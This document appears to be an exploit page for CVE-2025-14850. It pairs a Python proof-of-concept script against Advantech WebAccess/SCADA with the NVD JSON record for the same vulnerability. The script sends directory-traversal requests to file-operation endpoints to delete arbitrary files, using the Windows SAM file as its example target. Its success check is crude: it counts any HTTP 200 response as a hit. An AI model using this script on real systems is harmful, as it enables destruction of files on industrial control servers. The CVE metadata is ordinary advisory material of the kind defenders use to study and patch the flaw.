CVE-2025-14850

import requests import sys # CVE-2025-14850 PoC - Advantech WebAccess/SCADA Directory Traversal # Target: Delete arbitrary files via path traversal def exploit_directory_traversal(target_url, filename): """ Exploit CVE-2025-14850: Directory Traversal in Advantech WebAccess/SCADA This PoC demonstrates how an attacker can delete arbitrary files by exploiting the path traversal vulnerability. Args: target_url: Base URL of the vulnerable WebAccess server filename: Target file to delete (e.g., ../../windows/system32/config/sam) """ # Path traversal sequences to bypass path validation traversal_sequences = [ "../" * i + filename for i in range(1, 6) ] + [ "..\\" * i + filename for i in range(1, 6) ] print(f"[*] Target: {target_url}") print(f"[*] Target file: {filename}") print("[*] Testing directory traversal sequences...\n") for seq in traversal_sequences: # Try file deletion via different endpoints endpoints = [ f"{target_url}/WebAccess/fileop.axd?action=delete&path={seq}", f"{target_url}/WebAccess/../../{seq}", f"{target_url}/WebAccess/download.axd?file={seq}" ] for endpoint in endpoints: try: # Send malicious request with low privileges response = requests.get( endpoint, timeout=10, verify=False, headers={ "User-Agent": "Mozilla/5.0", "Accept": "*/*" } ) print(f"[*] Testing: {endpoint[:80]}...") print(f" Status: {response.status_code}") # Check for successful exploitation if response.status_code == 200: print(f"[!] Potential file deletion: {seq}") print(f"[!] Request: {endpoint}") return True except requests.RequestException as e: print(f"[-] Error: {e}") continue print("[-] Exploitation failed or target not vulnerable") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14850_poc.py <target_url> ") print("Example: python cve-2025-14850_poc.py http://192.168.1.100 ../../windows/system32/config/sam") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_directory_traversal(target, file_path)

{"cve": {"id": "CVE-2025-14850", "sourceIdentifier": "[email protected]", "published": "2025-12-18T21:15:52.900", "lastModified": "2025-12-31T19:44:09.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WebAccess/SCADA is vulnerable to directory traversal, which may allow an attacker to delete arbitrary files."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:webaccess\\/scada:9.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "211D6D3C-96AE-409D-A37B-FCF2A86D6DB9"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-352-06.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.com/en-us/support/details/installation?id=1-MS9MJV", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-352-06", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}